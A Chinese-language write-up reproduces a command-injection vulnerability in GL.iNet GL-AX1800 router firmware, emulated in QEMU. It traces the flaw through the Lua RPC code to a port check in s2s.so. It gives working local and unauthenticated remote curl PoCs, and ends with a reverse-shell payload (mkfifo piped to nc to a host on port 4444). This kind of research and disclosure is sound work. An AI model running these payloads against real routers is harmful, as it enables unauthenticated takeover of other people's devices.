[[CVE]]
Ubuntu18
IDA9.1
binwalk
qemu
[[firmwalker]]
[固件下载](GL.iNet 固件下载中心 | GL-AX1800 Flint)

固件分析

binwalk 解包

1
binwalk -Me openwrt-ax1800-4.5.16-0321-1711030388.tar 

查看文件属性
image.png

1
busybox: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-musl-arm.so.1, no section header

固件模拟

先在宿主机配置网卡,用于后面和qemu模拟出来的虚拟机进行通信

1
2
sudo tunctl -t tap0
sudo ifconfig tap0 192.168.3.1/24 up

在模拟前需要先[下载](Index of /~aurel32/qemu/armhf)以下内容

1
2
3
vmlinuz-3.2.0-4-vexpress linux内核镜像文件 
initrd.img-3.2.0-4-vexpress RAM磁盘映像文件
debian_wheezy_armhf_standard.qcow2 虚拟磁盘映像文件

qemu系统模拟

1
sudo qemu-system-arm -M vexpress-a9 -cpu cortex-a15 -kernel vmlinuz-3.2.0-4-vexpress -initrd initrd.img-3.2.0-4-vexpress -drive if=sd,file=debian_wheezy_armhf_standard.qcow2 -append "root=/dev/mmcblk0p2" -net nic -net tap,ifname=tap0,script=no,downscript=no -nographic

image.png
启动后输入用户名和密码都为root即可

image.png

1
ifconfig eth0 192.168.3.2/24 up

在qemu模拟的虚拟机中进行网卡配置,使其和宿主机通信

在宿主机将 root.extracted 打包后传入虚拟机中进行解压挂载

1
2
3
tar -zcvf squashfs-root.gz squashfs-root
scp squashfs-root.gz root@192.168.3.2:/
tar -zxvf squashfs-root.gz

image.png

进行挂载固件文件系统中的proc目录和dev目录到chroot环境

1
2
3
mount -t proc /proc/ ./squashfs-root/proc/
mount -o bind /dev/ ./squashfs-root/dev/
chroot squashfs-root sh

image.png
成功挂载,现在我们需要将web服务进行启动

/etc/init.d/nginx 中我们可以看见web服务是如何启动的
image.png

1
/usr/sbin/nginx -c /etc/nginx/nginx.conf -g 'daemon off;'

image.png
报错“/var/log/nnginx/error.log”失败(2:没有这样的文件或目录)、/var/lib/nnginx/body”失败(2:没有这样的文件或目录)
image.png
在启动项文件中存在创建目录的步骤,我们手动创建后在运行

1
2
3
4
mkdir -p /var/log/nginx
mkdir -p /var/lib/nginx/body
mkdir -p /var/run
/usr/sbin/nginx -c /etc/nginx/nginx.conf -g 'daemon off;'

image.png
运行后仍然无法访问web页面
image.png
搜索有关nginx的启动项文件

1
find / -name "*nginx*"

根据其他师傅的文章得知
/etc/uci-defaults/80_nginx-oui脚本的主要作用是配置和调整Nginx的相关文件,确保Web服务能够正常运行

1
2
3
chmod +x /etc/uci-defaults/80_nginx-oui
/etc/uci-defaults/80_nginx-oui
/usr/sbin/nginx -c /etc/nginx/nginx.conf -g 'daemon off;'

image.png
web界面显示Welcome,但是还是没有内容出现

再去查找其他的启动项,/etc/init.d/boot中可以看到一些初始化的内容
执行/etc/init.d/boot boot尝试
image.png
image.png
发现/etc/init.d/boot中在判断/etc/config/wireless是否为空
image.png

1
grep -ir "/etc/config/wireless"

使用grep搜索有关于/etc/config/wireless 的文件,最终锁定在network_gl中,该脚本应该就是对应boot配置相关文件
image.png

1
2
3
/etc/uci-defaults/network_gl
/etc/init.d/boot boot
/usr/sbin/nginx -c /etc/nginx/nginx.conf -g 'daemon off;'

image.png
image.png
成功进入

漏洞复现

根据披露的PoC来分析

1
curl -H 'glinet: 1' 127.0.0.1/rpc -d '{"method":"call", "params":["", "s2s", "enable_echo_server", {"port": "7 $(touch /root/test)"}]}'

漏洞点在 s2s.so中的enable_echo_server函数
image.png
在端口验证中atoi 函数会尝试将字符串中的字符转换为整数,但是只是验证了是否合法
例如atoi("8080;whoami") 返回 8080,满足 8080 > 0 且 8080 <= 65534
再通过后面的字符串拼接即可达到命令注入点的效果

ssh连接

1
2
ssh root@192.168.3.2
chroot squashfs-root sh

尝试Poc
image.png
使用ssh连接后运行Poc报错

检索报错信息 Internal error

1
grep -ir "Internal error"

image.png
检索到 usr/lib/lua/oui/rpc.lua
image.png
其中
image.png
是对其请求ip的判断是否来自 127.0.0.1或 ::1
其中ubus.call()是来自OpenWrt,ubus可以和ubusd服务器交互,因此前面报错,与ubusd服务未启动有关, 当 ubusd 服务未启动时,ubus.call() 返回 nil
image.png
headers+glinet即可绕过检查返回true

所以只要满足以下三点即可进行绕过
1、请求来自127.0.0.1
2、headers请求头包含glinet字符内容
3、启动ubusd服务
其中前两点我们的poc中都包了,只缺少第三点
启动ubusd服务,需要在开启一个ssh连接

1
2
3
ssh root@192.168.3.2
chroot squashfs-root sh
/sbin/ubusd

启动后在执行我们的poc
image.png
还是报错

根据其他师傅的文章找到,gl.conf中还有配置内容相关信息
image.png
location = /rpc 将rpc相关请求在oui-rpc.lua进行处理
location /cgi-bin 处理以/cgi-bin/开头的URL转发给 FastCGI 进程
location ~. 不会被缓存或在缓存过期后必须重新验证,以保证客户端始终获得最新的内容
fastcgi_pass unix:/var/run/fcgiwrap.socke 将请求转发给 FastCGI 进程,fcgiwrap 是一个用于处理 FastCGI 请求的简单 FastCGI 服务器,与 Nginx 进行通信。(这边报错就是与FasrCGI有关)
我们继续分析oui-rpc.lua
image.png

params < 3 判断数量是否少于 3
type(sid)、type(args) 判断是否为对应的类型
rpc.access(“rpc”, object .. “.” .. method) 判断是否有访问权限
最后使用rpc.call调用请求的函数并传递参数】
其中
image.png
rpc.call实际就是oui文件中rpc.lua的call
再回到rpc.lua进行分析
image.png
如果/usr/lib/oui-httpd/rpc/文件不存在 则调用 glc_call 
image.png
用于通过 HTTP POST 请求调用CGI 脚本 /cgi-bin/glc

我们继续分析glc
image.png
glc使用动态加载库

poc满足oui-rpc.lua和rpc.lua的逻辑

1
curl -H 'glinet: 1' 127.0.0.1/rpc -d '{"method":"call", "params":["", "s2s", "enable_echo_server", {"port": "7 $(touch /root/test)"}]}'

现在总结下来需要满足以下四点
1、请求来自127.0.0.1
2、headers请求头包含glinet字符内容
3、启动ubusd服务
4、启动fcgiwrap服务(处理 FastCGI,与Nginx 进行通信)
image.png

1
2
3
4
5
-f:将 CGI 脚本的标准错误输出(stderr)通过 FastCGI 发送。  
-c <number>:指定要预先分叉(prefork)的进程数量。预分叉是一种在多进程环境中常用的技术,用于提前创建多个子进程,以便更快地响应请求。
-s <socket_url>:指定要绑定的套接字 URL。
-h:显示帮助消息并退出。
-p <path>:限制执行到指定的脚本。

image.png

1
/usr/bin/fcgiwrap -c 4 -s unix:/var/run/fcgiwrap.socket

image.png

执行poc

1
curl -H 'glinet: 1' 127.0.0.1/rpc -d '{"method":"call", "params":["", "s2s", "enable_echo_server", {"port": "7 $(touch /root/test)"}]}'

image.png
成功

尝试远程,再先前s2s.so中的enable_echo_serve中对port进行了检查,但是没有严格限制其内容
image.png
我们可以用嵌入特殊字符,如$()、$(touch /root/test),shell 会执行其中的命令touch /root/test,导致命令注入。
根据上面的内容分析得出,我们访问/cgi-bin/glc后会调用glc_call函数,glc_call函数会再调用一个内部路径(/cgi-bin/glc)发起一个内部 HTTP POST 请求,并执行call方法且跳过之前的权限校验
修改poc为

1
curl http://192.168.3.2/cgi-bin/glc -d '{"object":"s2s","method":"enable_echo_server","args":{"port":"7 $(touch /root/miskai)"}}'


远程执行成功

POC分析

本地

1
curl -H 'glinet: 1' 127.0.0.1/rpc -d '{"method":"call", "params":["", "s2s", "enable_echo_server", {"port": "7 $(touch /root/test)"}]}'

127.0.0.1/rpc 发送请求内容
image.png
同时在 etc\nginx\conf.d\gl.conf 中对rpc请求会在 /usr/share/gl-ngx/oui-rpc.lua 进行处理

“method”:”call”调用到 rpc_method_call 进行处理
image.png


“params”:[“”, “s2s”, “enable_echo_server”, {“port”: “7 $(touch /root/test)”}]
传入到 rpc_method_call 的参数,并对其进行验证

image.png
image.png

1
local rpc = require "oui.rpc"

require "oui.rpc" 加载 /usr/lib/lua/oui/rpc.lua 模块
oui.rpc → /usr/lib/lua/oui/rpc.lua
所以 rpc.call 实际等于 M.call

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
M.call = function(object, method, args)
    ngx.log(ngx.DEBUG, "call: '", object, ".", method, "'")
    if not objects[object] then
        local script = "/usr/lib/oui-httpd/rpc/" .. object
        if not fs.access(script) then
            return glc_call(object, method, args)
        end
        local ok, tb = pcall(dofile, script)
        if not ok then
            ngx.log(ngx.ERR, tb)
            return glc_call(object, method, args)
        end
        if type(tb) == "table" then
            local funs = {}
            for k, v in pairs(tb) do
                if type(v) == "function" then
                    funs[k] = v
                end
            end
            objects[object] = funs
        end
    end
    local fn = objects[object] and objects[object][method]
    if not fn  then
        return glc_call(object, method, args)
    end
    return fn(args)
end
return M

object = “s2s”
method = “enable_echo_server”
args = {“port”: “7 $(touch /root/test)”}

其中 if not objects[object] 检查是否有对应的Lua脚本,但是s2s实际是so文件,则执行return glc_call(object, method, args 调用C模块

glc_call 函数
image.png

1
2
3
4
5
6
7
8
9
10
local function glc_call(object, method, args)
    ngx.log(ngx.DEBUG, "call C: '", object, ".", method, "'")
    local res = ngx.location.capture("/cgi-bin/glc", {
        method = ngx.HTTP_POST,
        body = cjson.encode({
            object = object,
            method = method,
            args = args or {}
        })
    })

使用ngx在在Nginx内部发送请求

1
2
3
4
5
6
method = ngx.HTTP_POST, 
body = cjson.encode({
object = "s2s",
method = "enable_echo_server",
args = {"port": "7 $(touch /root/test)"}
})

调用了 s2s.so 动态库中的 enable_echo_server,也就是我们的漏洞函数
image.png
且只判断了端口满足 8080 > 0 且 8080 <= 65534,当我们输入了7 $(touch /root/test)则触发漏洞,执行命令

远程

1
curl http://192.168.3.2/cgi-bin/glc -d '{"object":"s2s","method":"enable_echo_server","args":{"port":"7 $(touch /root/miskai)"}}'

在之前本地的poc中ip为127.0.0.1是因为在 M.access 函数中对ip和请求头有检测
44111e41faecf3cd0c93f849ac3933b5.png
e56a4f9d4f2a406e51e19e92d1012250.png

而在 glc_call 函数中并没有对ip进行限制,只需要交URL定位到 /cgi-bin/glc 发送object, method, args,即可进行远程命令执行

RCE

反弹shell给宿主机

1
curl http://192.168.3.2/cgi-bin/glc -d '{"object":"s2s","method":"enable_echo_server","args":{"port":"7 $(rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.3.1 4444 >/tmp/f)"}}'

再开一个终端进行监听

1
nc -lvnp 4444

image.png
成功